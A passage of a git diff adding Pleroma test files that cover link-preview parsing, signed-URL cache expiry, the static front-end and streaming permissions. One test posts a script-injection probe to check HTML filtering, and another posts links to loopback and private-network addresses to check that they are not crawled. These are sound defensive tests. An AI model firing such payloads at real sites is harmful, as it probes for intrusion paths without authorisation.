%{page_url: "https://example.com/ogp", rich_media: _} = + Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) + end + + test "refuses to crawl URLs of private network from posts" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{status: "http://127.0.0.1:4000/notice/9kCP7VNyPJXFOXDrgO"}) + + {:ok, activity2} = CommonAPI.post(user, %{status: "https://10.111.10.1/notice/9kCP7V"}) + {:ok, activity3} = CommonAPI.post(user, %{status: "https://172.16.32.40/notice/9kCP7V"}) + {:ok, activity4} = CommonAPI.post(user, %{status: "https://192.168.10.40/notice/9kCP7V"}) + {:ok, activity5} = CommonAPI.post(user, %{status: "https://pleroma.local/notice/9kCP7V"}) + + Config.put([:rich_media, :enabled], true) + + assert %{} = Helpers.fetch_data_for_activity(activity) + assert %{} = Helpers.fetch_data_for_activity(activity2) + assert %{} = Helpers.fetch_data_for_activity(activity3) + assert %{} = Helpers.fetch_data_for_activity(activity4) + assert %{} = Helpers.fetch_data_for_activity(activity5) + end +end diff --git a/test/pleroma/web/rich_media/parser_test.exs b/test/pleroma/web/rich_media/parser_test.exs new file mode 100644 index 000000000..6d00c2af5 --- /dev/null +++ b/test/pleroma/web/rich_media/parser_test.exs @@ -0,0 +1,176 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.ParserTest do + use ExUnit.Case, async: true + + alias Pleroma.Web.RichMedia.Parser + + setup do + Tesla.Mock.mock(fn + %{ + method: :get, + url: "http://example.com/ogp" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/ogp.html")} + + %{ + method: :get, + url: "http://example.com/non-ogp" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/non_ogp_embed.html")} + + %{ + method: :get, + url: "http://example.com/ogp-missing-title" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/rich_media/ogp-missing-title.html") + } + + %{ + method: :get, + url: "http://example.com/twitter-card" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} + + %{ + method: :get, + url: "http://example.com/oembed" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/oembed.html")} + + %{ + method: :get, + url: "http://example.com/oembed.json" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/oembed.json")} + + %{method: :get, url: "http://example.com/empty"} -> + %Tesla.Env{status: 200, body: "hello"} + + %{method: :get, url: "http://example.com/malformed"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/malformed-data.html")} + + %{method: :get, url: "http://example.com/error"} -> + {:error, :overload} + + %{ + method: :head, + url: "http://example.com/huge-page" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-length", "2000001"}, {"content-type", "text/html"}] + } + + %{ + method: :head, + url: "http://example.com/pdf-file" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-length", "1000000"}, {"content-type", "application/pdf"}] + } + + %{method: :head} -> + %Tesla.Env{status: 404, body: "", headers: []} + end) + + :ok + end + + test "returns error when no metadata present" do + assert {:error, _} = Parser.parse("http://example.com/empty") + end + + test "doesn't just add a title" do + assert {:error, {:invalid_metadata, _}} = Parser.parse("http://example.com/non-ogp") + end + + test "parses ogp" do + assert Parser.parse("http://example.com/ogp") == + {:ok, + %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "title" => "The Rock", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", + "type" => "video.movie", + "url" => "http://example.com/ogp" + }} + end + + test "falls back to when ogp:title is missing" do + assert Parser.parse("http://example.com/ogp-missing-title") == + {:ok, + %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "title" => "The Rock (1996)", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", + "type" => "video.movie", + "url" => "http://example.com/ogp-missing-title" + }} + end + + test "parses twitter card" do + assert Parser.parse("http://example.com/twitter-card") == + {:ok, + %{ + "card" => "summary", + "site" => "@flickr", + "image" => "https://farm6.staticflickr.com/5510/14338202952_93595258ff_z.jpg", + "title" => "Small Island Developing States Photo Submission", + "description" => "View the album on Flickr.", + "url" => "http://example.com/twitter-card" + }} + end + + test "parses OEmbed" do + assert Parser.parse("http://example.com/oembed") == + {:ok, + %{ + "author_name" => "‮‭‬bees‬", + "author_url" => "https://www.flickr.com/photos/bees/", + "cache_age" => 3600, + "flickr_type" => "photo", + "height" => "768", + "html" => + "<a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/bees/2362225867/\" title=\"Bacon Lollys by ‮‭‬bees‬, on Flickr\"><img src=\"https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_b.jpg\" width=\"1024\" height=\"768\" alt=\"Bacon Lollys\"></a><script async src=\"https://embedr.flickr.com/assets/client-code.js\" charset=\"utf-8\"></script>", + "license" => "All Rights Reserved", + "license_id" => 0, + "provider_name" => "Flickr", + "provider_url" => "https://www.flickr.com/", + "thumbnail_height" => 150, + "thumbnail_url" => + "https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_q.jpg", + "thumbnail_width" => 150, + "title" => "Bacon Lollys", + "type" => "photo", + "url" => "http://example.com/oembed", + "version" => "1.0", + "web_page" => "https://www.flickr.com/photos/bees/2362225867/", + "web_page_short_url" => "https://flic.kr/p/4AK2sc", + "width" => "1024" + }} + end + + test "rejects invalid OGP data" do + assert {:error, _} = Parser.parse("http://example.com/malformed") + end + + test "returns error if getting page was not successful" do + assert {:error, :overload} = Parser.parse("http://example.com/error") + end + + test "does a HEAD request to check if the body is too large" do + assert {:error, :body_too_large} = Parser.parse("http://example.com/huge-page") + end + + test "does a HEAD request to check if the body is html" do + assert {:error, {:content_type, _}} = Parser.parse("http://example.com/pdf-file") + end +end diff --git a/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs b/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs new file mode 100644 index 000000000..4a3122638 --- /dev/null +++ b/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs @@ -0,0 +1,82 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parsers.TTL.AwsSignedUrlTest do + use ExUnit.Case, async: true + + test "s3 signed url is parsed correct for expiration time" do + url = "https://pleroma.social/amz" + + {:ok, timestamp} = + Timex.now() + |> DateTime.truncate(:second) + |> Timex.format("{ISO:Basic:Z}") + + # in seconds + valid_till = 30 + + metadata = construct_metadata(timestamp, valid_till, url) + + expire_time = + Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) + + assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) + end + + test "s3 signed url is parsed and correct ttl is set for rich media" do + url = "https://pleroma.social/amz" + + {:ok, timestamp} = + Timex.now() + |> DateTime.truncate(:second) + |> Timex.format("{ISO:Basic:Z}") + + # in seconds + valid_till = 30 + + metadata = construct_metadata(timestamp, valid_till, url) + + body = """ + <meta name="twitter:card" content="Pleroma" /> + <meta name="twitter:site" content="Pleroma" /> + <meta name="twitter:title" content="Pleroma" /> + <meta name="twitter:description" content="Pleroma" /> + <meta name="twitter:image" content="#{Map.get(metadata, :image)}" /> + """ + + Tesla.Mock.mock(fn + %{ + method: :get, + url: "https://pleroma.social/amz" + } -> + %Tesla.Env{status: 200, body: body} + end) + + Cachex.put(:rich_media_cache, url, metadata) + + Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) + + {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) + + # as there is delay in setting and pulling the data from cache we ignore 1 second + # make it 2 seconds for flakyness + assert_in_delta(valid_till * 1000, cache_ttl, 2000) + end + + defp construct_s3_url(timestamp, valid_till) do + "https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{ + timestamp + }&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host" + end + + defp construct_metadata(timestamp, valid_till, url) do + %{ + image: construct_s3_url(timestamp, valid_till), + site: "Pleroma", + title: "Pleroma", + description: "Pleroma", + url: url + } + end +end diff --git a/test/pleroma/web/rich_media/parsers/twitter_card_test.exs b/test/pleroma/web/rich_media/parsers/twitter_card_test.exs new file mode 100644 index 000000000..219f005a2 --- /dev/null +++ b/test/pleroma/web/rich_media/parsers/twitter_card_test.exs @@ -0,0 +1,127 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parsers.TwitterCardTest do + use ExUnit.Case, async: true + alias Pleroma.Web.RichMedia.Parsers.TwitterCard + + test "returns error when html not contains twitter card" do + assert TwitterCard.parse([{"html", [], [{"head", [], []}, {"body", [], []}]}], %{}) == %{} + end + + test "parses twitter card with only name attributes" do + html = + File.read!("test/fixtures/nypd-facial-recognition-children-teenagers3.html") + |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "app:id:googleplay" => "com.nytimes.android", + "app:name:googleplay" => "NYTimes", + "app:url:googleplay" => "nytimes://reader/id/100000006583622", + "site" => nil, + "description" => + "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", + "image" => + "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg", + "type" => "article", + "url" => + "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", + "title" => + "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database." + } + end + + test "parses twitter card with only property attributes" do + html = + File.read!("test/fixtures/nypd-facial-recognition-children-teenagers2.html") + |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "card" => "summary_large_image", + "description" => + "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", + "image" => + "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg", + "image:alt" => "", + "title" => + "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", + "url" => + "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", + "type" => "article" + } + end + + test "parses twitter card with name & property attributes" do + html = + File.read!("test/fixtures/nypd-facial-recognition-children-teenagers.html") + |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "app:id:googleplay" => "com.nytimes.android", + "app:name:googleplay" => "NYTimes", + "app:url:googleplay" => "nytimes://reader/id/100000006583622", + "card" => "summary_large_image", + "description" => + "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", + "image" => + "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg", + "image:alt" => "", + "site" => nil, + "title" => + "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", + "url" => + "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", + "type" => "article" + } + end + + test "respect only first title tag on the page" do + image_path = + "https://assets.atlasobscura.com/media/W1siZiIsInVwbG9hZHMvYXNzZXRzLzkwYzgyMzI4LThlMDUtNGRiNS05MDg3LTUzMGUxZTM5N2RmMmVkOTM5ZDM4MGM4OTIx" <> + "YTQ5MF9EQVIgZXhodW1hdGlvbiBvZiBNYXJnYXJldCBDb3JiaW4gZ3JhdmUgMTkyNi5qcGciXSxbInAiLCJjb252ZXJ0IiwiIl0sWyJwIiwiY29udmVydCIsIi1xdWFsaXR5IDgxIC1hdXRvLW9" <> + "yaWVudCJdLFsicCIsInRodW1iIiwiNjAweD4iXV0/DAR%20exhumation%20of%20Margaret%20Corbin%20grave%201926.jpg" + + html = + File.read!("test/fixtures/margaret-corbin-grave-west-point.html") |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "site" => "@atlasobscura", + "title" => "The Missing Grave of Margaret Corbin, Revolutionary War Veteran", + "card" => "summary_large_image", + "image" => image_path, + "description" => + "She's the only woman veteran honored with a monument at West Point. But where was she buried?", + "site_name" => "Atlas Obscura", + "type" => "article", + "url" => "http://www.atlasobscura.com/articles/margaret-corbin-grave-west-point" + } + end + + test "takes first founded title in html head if there is html markup error" do + html = + File.read!("test/fixtures/nypd-facial-recognition-children-teenagers4.html") + |> Floki.parse_document!() + + assert TwitterCard.parse(html, %{}) == + %{ + "site" => nil, + "title" => + "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", + "app:id:googleplay" => "com.nytimes.android", + "app:name:googleplay" => "NYTimes", + "app:url:googleplay" => "nytimes://reader/id/100000006583622", + "description" => + "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", + "image" => + "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg", + "type" => "article", + "url" => + "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html" + } + end +end diff --git a/test/pleroma/web/static_fe/static_fe_controller_test.exs b/test/pleroma/web/static_fe/static_fe_controller_test.exs new file mode 100644 index 000000000..f819a1e52 --- /dev/null +++ b/test/pleroma/web/static_fe/static_fe_controller_test.exs @@ -0,0 +1,196 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do: clear_config([:static_fe, :enabled], true) + setup do: clear_config([:instance, :federating], true) + + setup %{conn: conn} do + conn = put_req_header(conn, "accept", "text/html") + user = insert(:user) + + %{conn: conn, user: user} + end + + describe "user profile html" do + test "just the profile as HTML", %{conn: conn, user: user} do + conn = get(conn, "/users/#{user.nickname}") + + assert html_response(conn, 200) =~ user.nickname + end + + test "404 when user not found", %{conn: conn} do + conn = get(conn, "/users/limpopo") + + assert html_response(conn, 404) =~ "not found" + end + + test "profile does not include private messages", %{conn: conn, user: user} do + CommonAPI.post(user, %{status: "public"}) + CommonAPI.post(user, %{status: "private", visibility: "private"}) + + conn = get(conn, "/users/#{user.nickname}") + + html = html_response(conn, 200) + + assert html =~ ">public<" + refute html =~ ">private<" + end + + test "pagination", %{conn: conn, user: user} do + Enum.map(1..30, fn i -> CommonAPI.post(user, %{status: "test#{i}"}) end) + + conn = get(conn, "/users/#{user.nickname}") + + html = html_response(conn, 200) + + assert html =~ ">test30<" + assert html =~ ">test11<" + refute html =~ ">test10<" + refute html =~ ">test1<" + end + + test "pagination, page 2", %{conn: conn, user: user} do + activities = Enum.map(1..30, fn i -> CommonAPI.post(user, %{status: "test#{i}"}) end) + {:ok, a11} = Enum.at(activities, 11) + + conn = get(conn, "/users/#{user.nickname}?max_id=#{a11.id}") + + html = html_response(conn, 200) + + assert html =~ ">test1<" + assert html =~ ">test10<" + refute html =~ ">test20<" + refute html =~ ">test29<" + end + + test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do + ensure_federating_or_authenticated(conn, "/users/#{user.nickname}", user) + end + end + + describe "notice html" do + test "single notice page", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) + + conn = get(conn, "/notice/#{activity.id}") + + html = html_response(conn, 200) + assert html =~ "<header>" + assert html =~ user.nickname + assert html =~ "testing a thing!" + end + + test "redirects to json if requested", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) + + conn = + conn + |> put_req_header( + "accept", + "Accept: application/activity+json, application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", text/html" + ) + |> get("/notice/#{activity.id}") + + assert redirected_to(conn, 302) =~ activity.data["object"] + end + + test "filters HTML tags", %{conn: conn} do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "<script>alert('xss')</script>"}) + + conn = + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{activity.id}") + + html = html_response(conn, 200) + assert html =~ ~s[<script>alert('xss')</script>] + end + + test "shows the whole thread", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "space: the final frontier"}) + + CommonAPI.post(user, %{ + status: "these are the voyages or something", + in_reply_to_status_id: activity.id + }) + + conn = get(conn, "/notice/#{activity.id}") + + html = html_response(conn, 200) + assert html =~ "the final frontier" + assert html =~ "voyages" + end + + test "redirect by AP object ID", %{conn: conn, user: user} do + {:ok, %Activity{data: %{"object" => object_url}}} = + CommonAPI.post(user, %{status: "beam me up"}) + + conn = get(conn, URI.parse(object_url).path) + + assert html_response(conn, 302) =~ "redirected" + end + + test "redirect by activity ID", %{conn: conn, user: user} do + {:ok, %Activity{data: %{"id" => id}}} = + CommonAPI.post(user, %{status: "I'm a doctor, not a devops!"}) + + conn = get(conn, URI.parse(id).path) + + assert html_response(conn, 302) =~ "redirected" + end + + test "404 when notice not found", %{conn: conn} do + conn = get(conn, "/notice/88c9c317") + + assert html_response(conn, 404) =~ "not found" + end + + test "404 for private status", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "don't show me!", visibility: "private"}) + + conn = get(conn, "/notice/#{activity.id}") + + assert html_response(conn, 404) =~ "not found" + end + + test "302 for remote cached status", %{conn: conn, user: user} do + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => user.follower_address, + "cc" => "https://www.w3.org/ns/activitystreams#Public", + "type" => "Create", + "object" => %{ + "content" => "blah blah blah", + "type" => "Note", + "attributedTo" => user.ap_id, + "inReplyTo" => nil + }, + "actor" => user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + conn = get(conn, "/notice/#{activity.id}") + + assert html_response(conn, 302) =~ "redirected" + end + + test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) + + ensure_federating_or_authenticated(conn, "/notice/#{activity.id}", user) + end + end +end diff --git a/test/pleroma/web/streamer_test.exs b/test/pleroma/web/streamer_test.exs new file mode 100644 index 000000000..185724a9f --- /dev/null +++ b/test/pleroma/web/streamer_test.exs @@ -0,0 +1,767 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.StreamerTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Conversation.Participation + alias Pleroma.List + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Streamer + alias Pleroma.Web.StreamerView + + @moduletag needs_streamer: true, capture_log: true + + setup do: clear_config([:instance, :skip_thread_containment]) + + describe "get_topic/_ (unauthenticated)" do + test "allows public" do + assert {:ok, "public"} = Streamer.get_topic("public", nil, nil) + assert {:ok, "public:local"} = Streamer.get_topic("public:local", nil, nil) + assert {:ok, "public:media"} = Streamer.get_topic("public:media", nil, nil) + assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", nil, nil) + end + + test "allows hashtag streams" do + assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", nil, nil, %{"tag" => "cofe"}) + end + + test "disallows user streams" do + assert {:error, _} = Streamer.get_topic("user", nil, nil) + assert {:error, _} = Streamer.get_topic("user:notification", nil, nil) + assert {:error, _} = Streamer.get_topic("direct", nil, nil) + end + + test "disallows list streams" do + assert {:error, _} = Streamer.get_topic("list", nil, nil, %{"list" => 42}) + end + end + + describe "get_topic/_ (authenticated)" do + setup do: oauth_access(["read"]) + + test "allows public streams (regardless of OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + with oauth_token <- [nil, read_oauth_token] do + assert {:ok, "public"} = Streamer.get_topic("public", user, oauth_token) + assert {:ok, "public:local"} = Streamer.get_topic("public:local", user, oauth_token) + assert {:ok, "public:media"} = Streamer.get_topic("public:media", user, oauth_token) + + assert {:ok, "public:local:media"} = + Streamer.get_topic("public:local:media", user, oauth_token) + end + end + + test "allows user streams (with proper OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + %{token: read_notifications_token} = oauth_access(["read:notifications"], user: user) + %{token: read_statuses_token} = oauth_access(["read:statuses"], user: user) + %{token: badly_scoped_token} = oauth_access(["irrelevant:scope"], user: user) + + expected_user_topic = "user:#{user.id}" + expected_notification_topic = "user:notification:#{user.id}" + expected_direct_topic = "direct:#{user.id}" + expected_pleroma_chat_topic = "user:pleroma_chat:#{user.id}" + + for valid_user_token <- [read_oauth_token, read_statuses_token] do + assert {:ok, ^expected_user_topic} = Streamer.get_topic("user", user, valid_user_token) + + assert {:ok, ^expected_direct_topic} = + Streamer.get_topic("direct", user, valid_user_token) + + assert {:ok, ^expected_pleroma_chat_topic} = + Streamer.get_topic("user:pleroma_chat", user, valid_user_token) + end + + for invalid_user_token <- [read_notifications_token, badly_scoped_token], + user_topic <- ["user", "direct", "user:pleroma_chat"] do + assert {:error, :unauthorized} = Streamer.get_topic(user_topic, user, invalid_user_token) + end + + for valid_notification_token <- [read_oauth_token, read_notifications_token] do + assert {:ok, ^expected_notification_topic} = + Streamer.get_topic("user:notification", user, valid_notification_token) + end + + for invalid_notification_token <- [read_statuses_token, badly_scoped_token] do + assert {:error, :unauthorized} = + Streamer.get_topic("user:notification", user, invalid_notification_token) + end + end + + test "allows hashtag streams (regardless of OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + for oauth_token <- [nil, read_oauth_token] do + assert {:ok, "hashtag:cofe"} = + Streamer.get_topic("hashtag", user, oauth_token, %{"tag" => "cofe"}) + end + end + + test "disallows registering to another user's stream", %{user: user, token: read_oauth_token} do + another_user = insert(:user) + assert {:error, _} = Streamer.get_topic("user:#{another_user.id}", user, read_oauth_token) + + assert {:error, _} = + Streamer.get_topic("user:notification:#{another_user.id}", user, read_oauth_token) + + assert {:error, _} = Streamer.get_topic("direct:#{another_user.id}", user, read_oauth_token) + end + + test "allows list stream that are owned by the user (with `read` or `read:lists` scopes)", %{ + user: user, + token: read_oauth_token + } do + %{token: read_lists_token} = oauth_access(["read:lists"], user: user) + %{token: invalid_token} = oauth_access(["irrelevant:scope"], user: user) + {:ok, list} = List.create("Test", user) + + assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, read_oauth_token) + + for valid_token <- [read_oauth_token, read_lists_token] do + assert {:ok, _} = Streamer.get_topic("list", user, valid_token, %{"list" => list.id}) + end + + assert {:error, _} = Streamer.get_topic("list", user, invalid_token, %{"list" => list.id}) + end + + test "disallows list stream that are not owned by the user", %{user: user, token: oauth_token} do + another_user = insert(:user) + {:ok, list} = List.create("Test", another_user) + + assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, oauth_token) + assert {:error, _} = Streamer.get_topic("list", user, oauth_token, %{"list" => list.id}) + end + end + + describe "user streams" do + setup do + %{user: user, token: token} = oauth_access(["read"]) + notify = insert(:notification, user: user, activity: build(:note_activity)) + {:ok, %{user: user, notify: notify, token: token}} + end + + test "it streams the user's post in the 'user' stream", %{user: user, token: oauth_token} do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(user, activity) + end + + test "it streams boosts of the user in the 'user' stream", %{user: user, token: oauth_token} do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) + {:ok, announce} = CommonAPI.repeat(activity.id, user) + + assert_receive {:render_with_user, Pleroma.Web.StreamerView, "update.json", ^announce} + refute Streamer.filtered_by_user?(user, announce) + end + + test "it does not stream announces of the user's own posts in the 'user' stream", %{ + user: user, + token: oauth_token + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, announce} = CommonAPI.repeat(activity.id, other_user) + + assert Streamer.filtered_by_user?(user, announce) + end + + test "it does stream notifications announces of the user's own posts in the 'user' stream", %{ + user: user, + token: oauth_token + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, announce} = CommonAPI.repeat(activity.id, other_user) + + notification = + Pleroma.Notification + |> Repo.get_by(%{user_id: user.id, activity_id: announce.id}) + |> Repo.preload(:activity) + + refute Streamer.filtered_by_user?(user, notification) + end + + test "it streams boosts of mastodon user in the 'user' stream", %{ + user: user, + token: oauth_token + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) + + data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("actor", user.ap_id) + + {:ok, %Pleroma.Activity{data: _data, local: false} = announce} = + Pleroma.Web.ActivityPub.Transmogrifier.handle_incoming(data) + + assert_receive {:render_with_user, Pleroma.Web.StreamerView, "update.json", ^announce} + refute Streamer.filtered_by_user?(user, announce) + end + + test "it sends notify to in the 'user' stream", %{ + user: user, + token: oauth_token, + notify: notify + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + Streamer.stream("user", notify) + + assert_receive {:render_with_user, _, _, ^notify} + refute Streamer.filtered_by_user?(user, notify) + end + + test "it sends notify to in the 'user:notification' stream", %{ + user: user, + token: oauth_token, + notify: notify + } do + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + Streamer.stream("user:notification", notify) + + assert_receive {:render_with_user, _, _, ^notify} + refute Streamer.filtered_by_user?(user, notify) + end + + test "it sends chat messages to the 'user:pleroma_chat' stream", %{ + user: user, + token: oauth_token + } do + other_user = insert(:user) + + {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") + object = Object.normalize(create_activity, false) + chat = Chat.get(user.id, other_user.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + cm_ref = %{cm_ref | chat: chat, object: object} + + Streamer.get_topic_and_add_socket("user:pleroma_chat", user, oauth_token) + Streamer.stream("user:pleroma_chat", {user, cm_ref}) + + text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) + + assert text =~ "hey cirno" + assert_receive {:text, ^text} + end + + test "it sends chat messages to the 'user' stream", %{user: user, token: oauth_token} do + other_user = insert(:user) + + {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") + object = Object.normalize(create_activity, false) + chat = Chat.get(user.id, other_user.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + cm_ref = %{cm_ref | chat: chat, object: object} + + Streamer.get_topic_and_add_socket("user", user, oauth_token) + Streamer.stream("user", {user, cm_ref}) + + text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) + + assert text =~ "hey cirno" + assert_receive {:text, ^text} + end + + test "it sends chat message notifications to the 'user:notification' stream", %{ + user: user, + token: oauth_token + } do + other_user = insert(:user) + + {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey") + + notify = + Repo.get_by(Pleroma.Notification, user_id: user.id, activity_id: create_activity.id) + |> Repo.preload(:activity) + + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + Streamer.stream("user:notification", notify) + + assert_receive {:render_with_user, _, _, ^notify} + refute Streamer.filtered_by_user?(user, notify) + end + + test "it doesn't send notify to the 'user:notification' stream when a user is blocked", %{ + user: user, + token: oauth_token + } do + blocked = insert(:user) + {:ok, _user_relationship} = User.block(user, blocked) + + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + + {:ok, activity} = CommonAPI.post(user, %{status: ":("}) + {:ok, _} = CommonAPI.favorite(blocked, activity.id) + + refute_receive _ + end + + test "it doesn't send notify to the 'user:notification' stream when a thread is muted", %{ + user: user, + token: oauth_token + } do + user2 = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + {:ok, _} = CommonAPI.add_mute(user, activity) + + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + + {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) + + refute_receive _ + assert Streamer.filtered_by_user?(user, favorite_activity) + end + + test "it sends favorite to 'user:notification' stream'", %{ + user: user, + token: oauth_token + } do + user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) + + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) + + assert_receive {:render_with_user, _, "notification.json", notif} + assert notif.activity.id == favorite_activity.id + refute Streamer.filtered_by_user?(user, notif) + end + + test "it doesn't send the 'user:notification' stream' when a domain is blocked", %{ + user: user, + token: 